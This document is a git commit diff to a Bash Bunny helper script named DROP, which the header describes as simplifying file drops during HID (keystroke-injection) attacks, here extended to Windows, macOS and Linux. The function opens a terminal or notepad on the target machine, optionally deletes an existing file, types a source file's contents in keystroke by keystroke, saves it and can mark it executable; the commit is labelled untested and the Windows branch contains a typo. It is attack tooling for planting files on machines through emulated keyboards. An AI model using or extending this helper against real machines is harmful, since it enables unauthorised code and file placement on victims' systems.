Multi-OS (Untested)

pull/318/head
bg-wa 2018-02-13 21:55:04 -08:00
parent 9ab8820cc5
commit 17e0b3d50c
1 changed files with 69 additions and 27 deletions

View File

@ -2,32 +2,65 @@
#
# DROP v1 by bg-wa
# Simplifies dropping files from HID attacks for LINUX
# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false]
# Usage: DROP [OS] bb_source_file.txt attack_destination_file.txt [overwrite: false] [executable: false]
#
# Example:
# DROP /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true
# DROP UNITY /root/udisk/payloads/$SWITCH_POSITION/source.sh ~/target_destination.sh true true
source ./run.sh
function DROP() {
source=$1
destination=$2
overwrite=$3
executable=$4
#os=
os=$1
source=$2
destination=$3
overwrite=$4
executable=$5
case "$os" in
WIN)
RUN WIN powershell
;;
OSX)
RUN OSX terminal
;;
UNITY)
RUN UNITY terminal
;;
LINUX)
RUN LINUX terminal
;;
*)
RUN UNITY terminal
;;
esac
RUN UNITY xterm
QUACK DELAY 1000
if "$overwrite" == "true"
then
case "$os" in
WIN)
QUACK STRING del "$destination"
;;
*)
QUACK STRING rm "$destination"
;;
esac
QUACK ENTER
QUACK DELAY 500
fi
case "$os" in
WIN)
QUACK STRING fsutil file createnew "$destination"
RUN WIN notepad.exe "$destination"
;;
*)
QUACK STRING vi "$destination"
QUACK ENTER
QUACK DELAY 500
QUACK STRING i
;;
esac
while IFS= read -r data
do
@ -36,6 +69,13 @@ function DROP() {
done < "$source"
QUACK DELAY 500
case "$os" in
WIN)
QUACK CTRL s
QUACK CRTL x
;;
*)
QUACK ESC
QUACK ENTER
QUACK STRING :wq
@ -52,6 +92,8 @@ function DROP() {
QUACK ENTER
QUACK STRING exit
QUACK ENTER
;;
esac
}
export -f DROP